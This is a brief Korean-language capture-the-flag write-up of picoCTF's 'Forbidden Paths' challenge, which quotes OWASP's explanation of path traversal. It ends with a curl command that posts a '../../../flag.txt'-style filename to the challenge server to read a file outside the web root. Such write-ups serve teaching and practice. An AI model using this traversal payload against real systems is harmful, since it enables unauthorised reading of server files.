[picoCTF] Forbidden Paths
Intro
Can you get the flag?We know that the website files live in
/usr/share/nginx/html/
and the flag is at
/flag.txt
but the website is filtering absolute file paths. Can you get past the filter to read the flag?
위 인용문은 picoCTF 문제에 대한 설명이다. 웹 사이트에 접속하면 경로가 “/usr/share/nginx/html”에 있고 flag는 “/flag.txt”에 있다고 한다.
즉, “/usr/share/nginx/html”로부터 경로를 이동해 “/flag.txt” 파일를 읽을 수 있을까 ?
Path Traversal
OWASP 사이트에는 path traversal에 대한 개요를 다음과 같이 설명하고 있다.
https://owasp.org/www-community/attacks/Path_Traversal
Overview
A path traversal attack (also known as directory traversal) aims to access files and directories that are stored outside the web root folder. By manipulating variables that reference files with “dot-dot-slash (../)” sequences and its variations or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system including application source code or configuration and critical system files. It should be noted that access to files is limited by system operational access control (such as in the case of locked or in-use files on the Microsoft Windows operating system).
대충 “../../” 과 같은 접근법을 통해 파일 시스템의 경로를 이동해 임의 파일에 접근할 수 있다고 하는 설명이다.
Walk-Through
문제에서 제시한 사이트로 접속해 입력박스를 통해 시도해도 되지만 내 경우엔 curl을 이용했다.
╰─$ curl -XPOST <http://saturn.picoctf.net:58657/read.php>
몇 번의 시도 끝에 다음과 같은 curl 명령에 대해 flag를 획득할 수 있었다.
╰─$ curl -XPOST <http://saturn.picoctf.net:58657/read.php> --data "filename=../../../../../../../../../flag.txt"